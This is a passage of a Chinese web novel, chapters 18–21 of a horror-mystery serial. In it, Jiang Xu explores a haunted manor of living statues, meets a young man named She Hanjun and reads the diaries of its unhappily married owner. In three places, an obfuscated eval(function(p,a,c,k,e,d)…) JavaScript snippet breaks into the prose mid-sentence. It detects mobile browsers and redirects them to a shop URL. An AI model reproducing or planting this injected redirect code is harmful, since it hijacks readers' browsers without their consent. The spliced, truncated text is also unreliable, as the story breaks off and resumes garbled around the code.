她用了将近二十分钟才从半包围圈里突围出去。 走出石板路之后,雕像的密度明显降低了,姜栩可以用更加从容的节奏往前推进,保安亭的轮廓在雾气中慢慢浮现,保安亭的窗户被姜栩锤出了一个大洞,黑洞洞地长着大嘴,姜栩从善如流地从这个破洞爬回保安亭。 保安亭的桌子上,出入访客登记册孤零零地摆在桌面上,它已经泛黄了,很多纸黏在一起,姜栩之前匆匆翻了一下,看到有很多人用参加宴会这个理由进来,这是姜栩想到的办法,如果她把自己的名字写上去,那她是不是就有了一个合法的进入别墅的身份。 姜栩拿起笔,又迟疑了。 真的要在这种地方写自己的真实姓名吗?万一这东西是个死亡笔记怎么办? 18. 【塞拉庄园】那个男人 真名肯定是不敢写,那假名呢?万一被判定造假,女战神拉弓射箭把她射成筛子怎么办? 姜栩在保安室的抽屉里找到了一支脏兮兮干巴巴的圆珠笔,毫不犹豫地签上了绿萝的名字。 有事找公司,别找我,我只是个小喽啰。 签完字,这回姜栩留了个心眼,把登记册好好翻了翻。 因为年代过于久远,上面的字迹很多都泛黄看不清楚,来访理由一栏里,参加宴会这个理由出现了七八次,看笔迹的间隔,这些人应该不是同一批进来的,而且地址是同一栋别墅。 有钱人喜欢举办宴会的爱好姜栩能理解,不过有一个人的出现让姜栩不太理解,那是一串英文,姜栩的英语不好,皱着眉头看了半天,才勉强拼出FatherMarcus。 马库斯神父。 好家伙,牧师! 这位神父大人来别墅的理由竟然也是参加宴会,姜栩在知道有天道存在之后发现这种看不见摸不着的信仰空气一样弥漫在她的生活中。 “还真是无处不在的神明啊。”姜栩调侃了一句,心想马库斯神父应该代表西方神明吧?要是和本土天道魔法对轰那谁能赢?姜栩心里跃跃欲试想要看这个热闹。 姜栩往后翻了一页,想看看有没有离场记录,结果发现后面几页被人撕掉了,行吧,又是一个谜。 姜栩登记了名字,一身轻松地往回赶路。 别墅区里的雕塑们应该都去参加宴会了,此刻路上没人,姜栩轻轻松松回到了梦开始的地方,这一次,她果然没有受到任何阻拦。 微风轻轻吹过,风摇影动,姜栩看见了很奇异的景象,有些雕塑石像在月光被遮蔽之后,渐渐褪去了原本石头的颜色,裸露出人的皮肤来,俨然变成了活生生的人,而别墅门口的女战神,似乎失去了生命,只变成了一个装饰用的石像而已。 姜栩找到了第四条规律,月光会让石像变成人,让人变成石像,当月光被遮蔽,一切恢复本来的面貌,石像变回石像,人变回人。 在月光被遮蔽的时候,是石像们自由活动的时间,他们都褪去了石头的颜色,五彩斑斓的各色锦衣在灯火中摇曳,喜气洋洋,其乐融融,觥筹交错。 这个时候姜栩无论凝视谁,都不会被石化。 就和36栋304一样,在特定的时间节点,蟾蜍会出现,而这里的规律是月光,只不过月光捉摸不定,端看今天晚上有没有风。 “小姐。” 姜栩吓了一跳,转回身,见一个穿着管家制服的中年男人彬彬有礼地站在自己身后:“您是绿萝公司代表是吧,欢迎您来到庄园。” 他看起来非常和善,笑眯眯的,姜栩松了口气,想来门口登记册上的身份有效果了,到底是大公司效应,管家看起来特别恭敬。 “宴会在午夜开始,在此之前,每位宾客都有休息的房间。您一路上辛苦了,请随我来。”管家说完,引着姜栩往楼上走。 方才一楼和二楼在姜栩进入怨境之前就查探过,没有客房,那就只能是三楼了。她不想放弃这个得来不易的上三楼的机会,连忙跟上去,之间二楼和三楼之间的铁栅栏门已经消失了。 显然在这个“正常”的世界,一切都和之前一样正常运转,那就是说,那扇铁栅栏门在举行宴会的时候还没有,在举行宴会之后才出现,可能是要等月光重新露出来,人变成石像之后,才会重新显露出来。 三楼的走廊很长,管家带她来到一间装潢还不错的客房:“您的房间,小姐。宴会开始前半小时,会有铃声提醒。届时请您前往一楼大厅赴宴。在此之前,您可以在房间里休息,也可以在庄园的公共区域自由活动,不过有一点需要提醒您。” “请不要在午夜之前离开庄园。” “公共区域包括哪些地方?” “一楼的大厅、餐厅、图书室和温室花房都是开放的。三楼的客房区域仅限宾客进入,您可以在本楼层自由走动,但其他宾客的房间请勿打扰。地下室和阁楼不对外开放。”管家微微欠身,转身离开,脚步声沿着走廊渐渐远去。 姜栩立刻闪身进门,反手把门锁上,扣上防盗链,然后才转过身来打量这个房间。 房间比她想象中要大。一张四柱床占据了正中央的位置,床单是白色的,枕头上放着一枝新鲜的薰衣草。 窗户对着庄园的后花园,窗帘是深绿色的丝绒,拉得严严实实。 床头柜上有一盏台灯,旁边放着一张烫金的邀请函。姜栩拿起邀请函翻开,里面只有一行手写的字: “午夜的钟声敲响时,宴会开始。请着正装出席。” 落款处没有署名,只印了一枚纹章,一条蛇盘绕在一根罗马柱上,蛇头垂下来,嘴里叼着一轮弯月。 姜栩打量了一下自己身上的休闲装,完蛋,她没穿正装,算不算不符合规定? 姜栩又把请柬翻来覆去看了几遍,没发现隐藏信息,她又走到床边,悄悄拨开窗帘,侧身从缝隙往楼下看,从她这个角度能看见楼下的女战神雕塑,她身姿英武,在她周围,穿着礼服的男人和女人,端着酒杯低声交谈,姿态松弛,偶尔发出轻快的笑声。 如果忽略掉这些“人”在十分钟前还是石像这件事,眼前的场景确实很像一场上流社会的晚间酒会。 姜栩躲在沉重的窗帘后面借着五颜六色的灯光偷偷打量他们。 忽然,一个很不同寻常的身影闯入了她的视线。 那是一个男人,这是自然,来赴宴的不是男人就是女人,不过姜栩总是觉得这个男人不太一样,他端着酒杯疏离地站在人群之外,好像和眼前的这一群人并不熟络,而是四顾张望似乎在寻找什么。 姜栩的视线往下看,仿佛打猎的猎人用瞄准镜圈住猎物,先看到的是一张剑眉星目的脸,然后瞄准镜往下移动,圈在他宽阔的肩膀上,虽然他穿着礼服,西装挺括修身,不过从轮廓形状来看,此人身材应当很好,等他变成雕塑,一定也是像古希腊雕塑那种血 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17587152|205334||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脉偾张的感觉。 爱美之心人皆有之,姜栩不觉得自己很猥琐,她决定等一会儿月亮出来,他变成雕塑之后,她再好好盯着看一会儿,但是现在,她得梳理一下自己掌握的信息。 这个空间比402空间大很多,也更复杂,偏偏她没有队友,只能自己一个人。 管家说宴会在午夜开始。每个宾客都有休息的房间。一切都在暗示同一件事:这座庄园有一套既定的运行规则,而她作为“宾客”,只要不违反规则,暂时是安全的。 姜栩坐在柔软的床上,有点犯困,这床是什么做的?鹅毛吗? 姜栩感觉自己的意识一点点被侵蚀,要不就睡一会儿吧,蚂蚱也得保存体力,才能在下一轮蹦跶的时候蹦得更高。 薰衣草的味道淡淡的,床单有一股刚洗过的清香气味。窗外的交谈声像是隔了一层水,模模糊糊地传进来,汇成一片低沉的嗡嗡声,好像催眠的白噪音。 她还没来得及想清楚更多问题,困意就像那条盘在罗马柱上的巨蛇一样,悄无声息地缠上来,把她拖进了沉沉的黑暗里。 姜栩浑身猛地一抖,如同坠落云端,骤然从梦中醒来,心口狂跳。 不对劲儿,这种诡异的环境,她怎么可能睡得这么沉? 她怎么睡得这么死?现在是几点了? 一睁开眼睛,几颗悬在她的脸的正上方的几颗脑袋又把她结结实实吓了一大跳。 风吹云影动,云彩飘走了,月光露出来,姜栩临睡前没有拉好窗帘,银白色的月光如水一般倾泻下来,姜栩的床周围围着一圈雕塑,沐浴在月光下,弯着腰,低着头,惨白的石头脸从各个角度伸到她床上方,保持着同一个姿势,在看她睡觉,那是他们发动攻击的前兆。 得亏是变成石像之后动作缓慢,要不然姜栩睡这么沉,早就死了八百遍了。 女性雕塑不可直视,男性雕塑必须直视。 姜栩直视着雕塑,它们果然没有下一步的动作,姜栩觉得有点荒谬,有一种上了斗兽场发现对方很菜的失望感。 之前在小路上之所以比较危险,是因为姜栩没办法无所顾忌地抬头,不然余光扫到女性雕塑就会被石化,如果她低头不看,就会引发男性雕塑的攻击。 女性雕塑不会主动攻击,这个房间里没有,两种雕塑分开,单独面对其中一种,这套机制就有了突破口,它们慢吞吞的速度并不足以让姜栩畏惧。 姜栩看了一眼时间,她的表进入怨境之后就不好用了,只能看怨境中挂着的钟表,午夜十一点四十了,还有二十分钟,就到了管家说要去参加宴会的时间。 如果是没有月光,尚且还可以接受,但如果有月光的话,别墅里的男人女人都是雕塑形态,到时候一定很困难,那也就是说,她现在还有二十分钟时间。 “嚓嚓嚓嚓……”姜栩听见走廊中传来清晰的脚步声,虽然非常轻,但还是被姜栩灵敏的耳朵捕捉到了。 所有人都是雕塑状态,是谁再跑? 19. 【塞拉庄园】疑似故人来 姜栩抓起靠在床头的消防斧,赤着脚踩在地板上,无声无息走到门边,悄悄打开门,探头看门外。 方才脚步声是从她门口经过,听声音没有停留,继续往走廊深处去了,说明那人目的很明确,不管是人还是鬼,都比自己更加熟悉这个空间。 走廊里的月光比房间里更亮,从走廊尽头的拱形窗户倾泻进来,把整条走廊照得黑白分明。 铁栅栏门就在走廊另一头,把三楼和二楼之间的楼梯口封得严严实实。 月光出现,铁栅栏门重新显现。她现在被关在三楼了。 但这对姜栩来说不是坏事。二楼的区域她已经查探过了,没有关键线索。三楼之前被铁栅栏门挡着进不来,现在她阴差阳错被关在里面,等于是老天爷给了她一个独占探索权的机会。 根据姜栩在36栋402的经验,怨境会分为两个世界,从目前的情况来看,这两个世界的分界点应该是月光,当月光再次出现,世界会变得更加危险。 三楼的走廊全是火烧过的痕迹,墙纸上留下焦黑的大洞,走廊的地板上黏着大片大片神色的污渍,有些污渍的末端隐约可以看出是一只手的形态,仿佛是有人在烈火中艰难爬行,最终丧命。 三楼的门基本都开着,姜栩光着脚轻轻往前走,路过一间开着门的房间,房间里一片狼藉,家具翻倒,床垫被掀开,抽屉全部拉出来扣在地上,像是经历过一场疯狂的搜索。 姜栩循着声音的角度往走廊深处走,走廊在尽头分叉成两个方向,左边是一扇双开门的大房间,门楣上残留着一块烧焦的木牌,隐约能辨认出几个字:“藏……室”。中间两个字被火烧掉了。 右边是一条更窄的走廊,通往一个半开放式的露台,月光从露台的方向洒进来,在地面上投下一片明亮的方形光斑。 姜栩屏住呼吸,往左边的房间靠拢,猜测刚才那脚步声的主人就在里面。 姜栩的逻辑非常简单粗暴,这个怨境是她一个人进来的,那么除了她,不管是死人活人最后全是敌人,先下手为强后下手遭殃,她把消防斧换到没有石化的左手,小心地侧身看房间里的景象。她看见房间里有一个男人。 这个画面是动态的,男人好像在追逐什么,背部弓起,手臂绷紧,压低身子匍匐的样子好像一头蹲伏的猞猁。 月光打在他的侧脸上,剑眉星目,眉骨很深,下颚线条利落,正是她之前在窗帘缝里偷看到的那个站在人群之外的年轻人。 姜栩探身过来,并未走动,只有清浅的呼吸声,她已经刻意屏息,然而男人非常敏锐,耳朵尖动了动,不过因为正全神贯注地专注眼前的猎物,他并没有回头。 实乃螳螂捕蝉,黄雀在后。 姜栩十分好信地伸着脑袋,想看清男人的猎物到底是什么,可惜黑漆漆一片。 这是一个封闭的房间,那东西被退无可退,忽然猛地窜起来,直直朝着门口的方向冲过来。姜栩这才看清那玩意儿的全貌,一个圆滚滚的球状物,就这么一蹦一蹦地弹跳着前进,落在地板上发出“滴答”“滴答”的声响。 姜栩进别墅书房的时候,身后就响起过一模一样的声音,当时她还回头看了一眼,什么都没发现,现在想来,这东西从一开始就跟上她了。 这颗小球越来越近,姜栩看清它是什么。 是一只眼睛,金色的竖瞳,闪着诡异的暗金色光芒。 姜栩判断这东西没什么伤害性,不然不会出现在自己身后但什么都没做,也不会被这男人追得到处乱窜。她从黑暗中伸出手,在那只眼睛蹦到门口的瞬间,一把捞住了它。 那就是完全真实的眼球触感,好像刚从眼睛里挖出来的一样,带着黏腻冰凉的感觉,姜栩面不改色,反手把它塞进外套兜里,拉链封死。 他追猎物的姿态在姜栩出手的瞬间被打断,身体几乎是本能地转换了攻击方向,像一头被惊扰的猛兽,弓起的身子骤然弹开,转身朝着姜栩扑过来。 这男人比她方才在窗帘缝里远远一瞥时判断的还要高,目测至少一米八五往上,肩宽背阔,动起来的时候衣服底下的肌肉线条清晰可见,整个人带着一股压制的野性,这个体型如果硬碰硬的话,她可能打不过。 姜栩迅速进行了一波评估,确定这人和自己不在同一公斤级。 男人已经逼到面前,右手成爪直取她咽喉,姜栩右臂石化不能动,只能侧身用左小臂格挡,对方力量格外猛,将她逼得连连后退。 姜栩没有硬抗,借着力道顺势往后一仰,左腿同时扫出去,瞄准的是对方的膝盖外侧。她从小力气特别大,平时和小朋友闹着玩,轻轻一巴掌能打哭别人,寻常人若是遭了这一下定要骨折的。 但男人反应极快,在她起脚的瞬间就判断出了攻击路线,右腿后撤半步避开,同时变爪为拳,从上往下砸向姜栩的太阳穴。 姜栩矮身抵挡过一击,准备调整姿势用消防斧与他对抗,男人紧随其后,一步跨过将近两米的距离,大手直接朝她的肩膀扣过来,五指张开,青筋分明,眼看就要把她摁在地上。 姜栩心里骂了一声,正准备脚底抹油先撤再说,男人的动作却停住了,月光从他身后的窗户洒进来,正好照亮了姜栩的脸。 他低头看着她,剑眉下的眼睛微微眯起,喉结滚动了一下,声音低沉,带着一丝难以置信。 “是你?” 姜栩从善如流地一挑眉:“你记得我?” 男人听了这话,浑身那股凶狠的捕猎气势瞬间收敛得一干二净。不打架的时候,他看起来老老实实乖乖的,很年轻的一张脸,看起来竟然有点羞涩和局促:“你……你也还记得我?” 声音里甚至有小小的期待。 姜栩看着眼前这个比自己高出一个头还多的男人,觉得有点魔幻。刚才还是头野蛮凶猛的猞猁,现在就变成了只乖巧蹲坐等摸头的小猫咪,那双眼睛亮晶晶的。 真的认识吗?姜栩在脑子里飞速搜索了一遍,没有想起关于这张好看的脸的一星半点的回忆,什么时候惹上的桃花债?罢了,实在想不起来。 姜栩脸上笑眯眯的,语气也热络得很:“既然是熟人,那我就——” 那我就不客气咯~姜栩脚底抹油,转身就跑。 “当——当——当——” 别墅里传来沉闷的钟表报时的声音,午夜十二点了,风起云涌,乌云遮住了月光,走廊里那片黑白分明的光暗交界线迅速消退,黑暗像潮水一样涌上来,从走廊两端同时往中间吞噬。 姜栩回头看去,男人还站在原地,云影带来的黑暗渐渐遮蔽了他的脸,那双眼睛里所有的羞涩和期待都被晦暗吞没,姜栩的右眼忽然一阵刺痛,好像她看见了某种巨大的悲伤。 那颗金色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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男人的手指轻轻收拢,另一只手犹豫了一下,才虚虚地搭上她的腰侧,隔着外套的布料,掌心滚烫。 姜栩踩在他脚上,被他带着旋转,感觉自己像个站在手推车上的土豆。 “你叫什么?” 男人的耳朵尖都红了:“鄙姓佘,名寒君。” 佘寒君,踏雪而来,还真是一只大猞猁。 “你见过我?” 男人抿着嘴,非常坚定:“见过的,你也见过我。” “你来这里干什么?” 男人的眼睛直勾勾盯着姜栩的口袋:“我来找这只眼睛,但是现在被你拿走了。”有点委屈巴巴的。 姜栩觉得有点好笑:“这眼睛有什么用?是谁的?” “有很大的作用,女雕塑的石化特性,来源于这只眼睛,”佘寒君老老实实,好像触发了什么底层代码,有问必答,但谈到这只眼睛是谁的,他却支支吾吾了,“是我一个故人的眼睛,很重要的故人。” 姜栩不说话了,好像在思考,佘寒君终于鼓起勇气,第一次跟姜栩提问题:“你可以把这只眼睛还给我吗?” 音乐声飘散,一曲终了,姜栩从佘寒君身上下来,笑眯眯地高抬手摸摸他毛茸茸的脑袋:“结束了哦,小猫咪。” 20. 【塞拉庄园】日记 姜栩躲在阴影里,听着宴会厅轻快的波尔卡乐曲,小心翼翼地掏出那颗眼球。 姜栩生怕它跑了,牢牢攥在手心里。金色的竖瞳与她对视,两两相望。 眼珠黏腻冰凉,像是刚从什么活物的眼眶里剜出来的,在她的掌心里微微跳动,带着一种诡异的生机。 她用一支舞,从那个纯情小子那里得到了一条重要情报,女雕塑的石化特性来源于这只眼睛。 那这意思就是说,石化的本源力量在这颗眼珠子里,这东西是个针对性武器,如果说它是石化的源头,能够将人石化而不是暂时停滞的话,那反过来用来对付那些男性雕塑,逻辑成立。 问题是,怎么用? 姜栩的脑回路从来很直接,首先想到的是被雕塑们围攻的时候,从兜里掏出来,把眼珠子高高举起,大喝一声:“定!” 那些雕塑就会被定在原地,再无复原的可能。 太中二了这个场面。 她面无表情地把这个画面从脑海里划掉。 这又不是金角大王的紫金葫芦,喊谁谁答应就能收进去。怨境里的东西从来不会这么好说话。这颗眼珠子肯定有用法,但她一时半会琢磨不透。 她把眼珠翻了个面,眼球背面的血管神经裸露在空气中,犹如有生命一样蠕动着,急切地想要找一个眼眶住进去,而姜栩的右眼又开始刺痛,一跳一跳的,似乎在和手里的眼珠子呼应。 她把眼珠举到与右眼平齐的高度,比划了一下。大小差不多,形状也差不多,如果把她自己的眼珠子挖出来换这个进去,理论上应该刚刚好。 姜栩摸了摸自己的眼眶边缘,指腹沿着眼眶的边缘往里用力,她自己的眼珠子刚刚承受到一点点压力,她立刻就放弃了。 有点子怕疼。 她还没有穷途末路到这种程度,但凡还有别的办法,姜栩不准备这么干,她还是很怂的。 眼下还有一件更重要的事情,她得找找寿星本人了。 她目前可以确定,寿星一定就是别墅的主人,但是从头到尾,这个主人都没有出现,姜栩觉得不太合理,好像她就是个局外人,冷冷注视着这一切,姜栩想,自己一定是错过了什么细节。 兴许还得把自己找过的地方再找一遍。 姜栩想了想,她找了个僻静地方,从口袋里掏出眼珠子,和它说话,好像它真的能听得懂似的:“嘿,小家伙,先别着急跑啊,你既想跑,那就给我带带路。” 说着她找了个线头,一头拴在眼睛上,另一头攥在自己手中,松开手,那小眼珠子和小狗一样滚了一圈,竖瞳转向左边,又转向右边,像在辨认方向,接着滴滴答答往二楼去了。 二楼是禁区,管家说不可以去。 管他呢,姜栩跟着来到二楼,轻手轻脚蹑手蹑脚探头探脑,走廊里灯火通明,眼珠子滴答滴答落在二楼的书房门前,好像是想要进去。 姜栩之前就来过,知道这里面全都是关于民俗学的书籍,似乎是房主人本人的爱好,当时她只看到一本做了很多笔记的县志,已经卷成筒状塞在口袋里,再拿出来看一遍,也没发现什么特别。 这颗眼睛蹦蹦跳跳,最后在书柜顶上停下来。 书房的书柜特别高,直接通到顶,上面是一排橱柜,姜栩第一次检查的时候,把它漏掉了,因为这个东西很高。 姜栩只能推动桌子,然后在桌子上摞了一把椅子,踩在椅子上,认认真真探出一颗脑袋把柜子打开,里面是一些比较零碎的文具和账本,还有一些别墅的产权文件和合同,原来这里装的才是比较符合别墅主人生活环境的东西,难怪这颗眼睛一直想要进来。 原来从一开始,这颗眼睛就要提醒她,只是身后的巨蛇让她错过了。 最后一格特别大,姜栩拉开来,一张人脸吓了她一大跳,差点从椅子上掉下来,那张脸木木的,冷冷的,唇红齿白龇着大牙,笑眯眯看出来。 那是一张封在相框里的结婚照,姜栩率先看到的是照片上的新郎,她把照片整个拽出来,才看见女主人的脸。 女主人没有脸,好像刚拿出照片油墨还没干的时候就被人摁了一下,导致油墨都模糊了,五官在脸上偏移了原本的位置,嘴巴歪向一边,鼻子塌陷,眼睛一只大一只小,高低不齐地看着姜栩,那双眼睛眼角耷拉着,极不情愿的感觉,仿佛受了天大的委屈。 照片后面有两个红本本,是结婚证,姜栩翻开来,果不其然,结婚证上关于女子的脸和名字也全部都糊掉了,辨认不清,不知这人长什么样子,叫什么名字。 怨境是一个人内心的怨念所化,结婚证和婚纱照应该是现实世界就有的,所以无法抹除,但在自己心中的世界,女子抹掉了自己的脸,看得出她真的不想让自己的脸和名字出现在结婚证和婚纱照上。 姜栩的大脑疯狂运转,一些细碎的线索串联起来。 女雕塑不可直视,男雕塑必须直视,门口的女战士和柱子上的蛇都呈保护姿态,未经允许的人不可以进入,是不是意味着,这个别墅曾经进来了她不欢迎的人,譬如那些参加生日宴会的宾客,是她欢迎的吗? 搜寻房间的时候,她发现这个房子里没有任何男性生活的痕迹,衣帽间里全都是女装,桌子上全都是化妆品,剃须刀什么的一律都没有。 结论已经非常情绪,别墅的主人结婚了,不过她似乎并非自愿结婚,至少她心中不想有丈夫的位置,所以在她的怨境中,结婚照抹去了她的脸,而生活中抹去了丈夫的存在。 思及此,姜栩心中叹气,没想到啊,已经住这么豪华的别墅了,生活也不尽如愿吗? 姜栩继续往里掏,柜子里除了结婚证和婚纱照之外,还有一些上了年纪的硬壳日记本,是姜栩很小的时候会比较喜欢的那种本子,还挺贵的,带密码。 时间太长了,姜栩轻轻一掰,日记就展开在她的眼前,女人写了很多日志,这只是其中的一本,文字在怨境中时一个很重要的线索,而且姜栩本人比较八卦,当即站在凳子上津津有味地开始读。 这个日记应该比较早期了,女人此时年纪应该还很小,字体圆滚滚的,一横一竖都非常用力,写到开心的事情还会在后面画一个小脸。 女孩子的心事总是非常琐碎,写一些学校的事,什么考试得了第一名,同桌上课偷吃巧克力,被发现后分给她一块,隔壁班新转校来一个阳光开朗大男孩,身材高大俊朗,穿白衬衫特别漂亮。 少女情怀总是诗,姜栩几乎忘了这是怨境主人的满怀心事,当年的她如此活色生香。 有一条线索始终贯穿始终。 “今天礼拜天,爸爸又带我和妈妈去教堂了。我坐在最后一排,牧师先生讲了很多话,我只记住了一句,他说善良的人会有好报。我问爸爸是不是真的,爸爸说是的,我们全家都是善良的人,上天会保佑我们。” “礼拜天。今天下雨了,教堂里的蜡烛点得特别多,好漂亮。牧师先生给我们每个人头上点了水,说这是祝福。我偷偷许了一个愿,希望那些不讲礼貌的男孩子不要再偷偷看我了。” “礼拜天。爸爸今天不开心,因为店里的事没谈好。但他说没关系,我们做好人,上天会帮我们的。” 几乎每一周,女人和家人都会去教堂做礼拜,从文字来看,或许是家庭熏陶,所以女人对上天存在这种事情深信不疑,而且非常依赖。 上天在他们一家人的生活里无处不在,成为了一种理所当然的习惯,就跟吃饭喝水一样自然。 姜栩想起自己在保安亭的登记册上看到的那个牧师的名字,那个名字出现得太早,早到她当时完全没有在意,现在回想起来,它像是埋在开头的一个注脚,等着被重新发现。 姜栩快速浏览这些日记,因为日记很多,几乎贯穿了女人短暂的一生,而姜栩一方面是出于八卦,另一方面是出于搜集线索,一目十行疯狂浏览,以至于房间在悄然发生变化也没发现。 女人的字迹在慢慢长大。 “那些男孩子真的很讨厌,总是跟在我后面,弯腰看我的裙子下面。我告诉老师,但是老师只是批评了两句,而我没有证据,我好想报警,但是爸爸告诉我这种事情说出去是丢我的人,为什么?为什么我什么都没做错,最后我却变成了勾引别人的人?仁慈的上天啊,我什么都没做错,我从来没有做过坏事,可是上天没有帮我。他站在巷子口的时候,上天的眼睛在哪里?” 姜栩翻过这一页,女人的叩问始终没有答案。 接下来几周的日记都很短,短到只有一两句话,教堂的记录也断了好几周。 然后有一天,她又开始写了,字迹平稳了一些,但那种圆滚滚的字体彻底消失了。 “牧师先生说,我们要宽恕,但我并不想说好。” 在那之后,女人的日记恢复了正常。日记本里写满了考试,升学,对未来的憧憬,字迹越来越成熟,越来越好看。 但姜栩注意到,关于上天的叩问再也没有出现过,她反而开始问内心,她开始质疑上天是否真的存在。 后来她考上了一个很好的大学,日记里写她选了工商管理专业,她说要把命运掌握在自己手里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一篇日记像是一个晴天霹雳,女人之前所有的傲气好像都抽走了,本来她在日记里斗志昂扬,要和她爸这个老顽固老古董和脑残老板斗争到底,谁知道她爸忽然得了急症,从确诊到弥留短短一个月。 “爸说他实在不放心我一个人,倘若我不结婚,他就算是黄泉路上,也不能安心。我的工作被老板暂停,我爸更担心了,跟我说,你看吧,还是得找个男人,我忽然无言以对,我觉得好累。仁慈的上天啊,你告诉我,这是不是就是我的命运,我一生的努力,都没办法逃脱这样的命运吗?” 对于命运的叩问终于再次出现,女人似乎感受到了一双无形的手将她推到既定的轨道上去,哪怕牺牲父亲的生命也在所不惜,这就是她,一个女人难以逃脱的宿命! “婚礼的事情都在办。他不是一个坏人,可是我不爱他。我甚至不认识他。” “昨天夜里一个人回到别墅。站在门口的时候我突然意识到,这栋房子是我一笔一笔攒钱买下来的,每一块砖都是我的。” “不管怎样,明天就是我的生日了。希望来的都是真心祝福我的人。” 生日当天,就是今天! 女人的怨境,永远停留在这一天。 她的一生都在被凝视,从上学时候那几个男孩子恶意的目光开始,所有人都在用世俗的眼光凝视她,无论她有多么努力多么优秀,但是所有人都在用自己的标准评价她,得出一个,你不够好,你不完整,你需要被定义的结论。 姜栩有了一个猜测。 女人在日记中反复叩问上天,从祈求上天的垂帘,到怀疑上天的存在,到怨恨上天,她的情绪有一个完整的变化过程,但她又在书柜里堆满了民俗类的书籍,似乎她已经不再相信上天,但是依然相信这世间还有无形的力量,她在祈求邪神的帮忙吗? 姜栩正在思考,脚下忽然一晃,她惊愕抬头,发现月光明亮,周围的石头摩擦声很清晰地响起并且朝着她的方向逼近,同时,书房的门响起强烈沉闷的撞击声,姜栩忙握紧消防斧。 门猛地被撞开,来人整个人像一只炸毛的野猫,回身把门推上,拽过一边的椅子抵在门口。 佘寒君的外套撕裂了半边,露出里面的身体,果真和姜栩猜测的一样肌肉紧实应该也富有弹性。 他似乎刚刚经历了一场四杀,头发全乱了,几缕碎发黏在额头,似乎是有血。 佘寒君喘着粗气抬头:“总算找到你了。” 他一步一步靠近,姜栩把消防斧横在胸前,做出准备攻击的姿势,他似乎并不怕。 “怨境已经失去了耐心,开始杀戮模式,我们俩最终都得死在这里。” “你把那只眼睛还给我,我带你出去,好不好?” 21. 【塞拉庄园】换眼 佘寒君语气温柔,堪称循循善诱,但姜栩可不会因为人家长得好看就失去原则。 好看归好看,她一把把眼珠子塞回衣兜里,脸上还是那副笑眯眯的模样:“带我出去?你连自己都搞得这么狼狈,拿什么带我出去?” 话音未落,脚下的地板疯狂一震,好像整个别墅要倒塌了,姜栩踩着的椅子一歪,她努力稳住身体,和佘寒君同时转头向门口,火光照亮了门缝的下沿,橘红色的光在飞速蔓延,浓烟的味道从门缝里挤进来。 正如佘寒君所说,怨境的主人已经意识到他们察觉了真相,所以开启最后的猎杀时刻。 “砰——砰——砰——” 椅子腿在地板上摩擦出刺耳的尖啸,一寸一寸往后滑,有人在撞门,这个房间就快要守不住了。 几乎是同时,姜栩把日记本往怀里一塞,蹲身准备下来,而佘寒君高高张开双手,架着她的腋下把她平稳地放到地上,一套动作从善如流,没人觉得有什么不对。 两人一瞬间从敌人变成了同盟。 “快走。” 姜栩话音刚落,佘寒君已抓起她的右手,一路往外冲,刚一打开门,门外的两尊雕塑直直扑进来,佘寒君侧身一脚踹在当先那具雕塑的胸口,雕塑倒飞出去,撞翻了后面一排,给两人争取了三四秒的宝贵时间。 走廊已然变成了炼狱,火舌从三楼楼梯口的方向一路舔舐过来,大片的火光沿着墙壁蔓延,天花板上吊着的灯盏被热浪冲击得剧烈摇晃,光影像溺水的人一样疯狂摆动。 火光中影影绰绰都是雕塑的影子,摇摇晃晃如同丧尸一般,走廊里密密麻麻都是僵硬的身影,从速度上来看,比之前快了好几倍,跨越火光而来,转眼间已经逼近眼前。 姜栩下意识用目光凝视,试图阻止他前进的脚步,但这一次却没有太明显的效果,雕塑只是顿了一顿,动作有一瞬的迟滞,又继续扑过来,且速度比之前更快。 好像姜栩的注视不但没有冻结他,反而激怒了他,下一秒他就要咬到姜栩的脖子。 “别看了!” 佘寒君眼疾手快把她拽到身后,左臂横扫出去,小臂上肌肉绷得紧紧的,硬生生砸碎了一具雕塑的脖颈。 碎石四溅,但那具无头的雕塑并没有停下,反而伸出双手胡乱抓挠,佘寒君的肩膀被抓出一道血痕。 姜栩挥斧砍断那只手臂,两人交替掩护往走廊另一头撤。 走廊的尽头,原本在花坛上睥睨天下的女战神整堵在楼梯口,身后盘踞着四条巨蛇,仿佛从火光中生长出来,瞳孔中倒映着烈火的颜色。 姜栩看到她时,她已经张弓搭箭瞄准了姜栩。 “小心!”姜栩挥动消防斧,格挡住一支石箭,差一点那支箭要射入佘寒君的身体里。 “它们已经分不出敌我了,怨境把所有的防御机制都调成了无差别模式,这也是好事,说明我们已经找到了相当多的线索,基本方向是没错的。” 姜栩正全神贯注地和敌人纠缠,忽然右眼一疼,疼得她弯腰眨眼,显然拖了佘寒君的后腿。 “没事吧?” “没事。” 姜栩眨眨眼睛,把因为疼痛产生的泪水挤出去,抬头再看,却发现怎么都看不清了,眼前的画面变成重影,火光和雕塑的影子叠在一起,扭曲成一片模糊的光斑。 恍惚之中,她似乎看到一个影子。 那个影子非常熟悉,仿佛在哪里见过,一时间想不起来。 火光热烈盛大,姜栩眨眨眼睛,在一片模糊之中努力辨认,那个身影慢慢化形,变成她最怕的一个人。 是她在孤儿院时候的保育员。 她在孤儿院的时候是一个不让老师省心的皮孩子,爬树翻墙和男生打架是样样不落的,因为一脑袋反骨,所以很多家庭看到她都挺喜欢,但是最终她并没有被领养出去,变成了幼儿园的钉子户。 保育员看到她就一个头两个大,每天用言语攻击她。 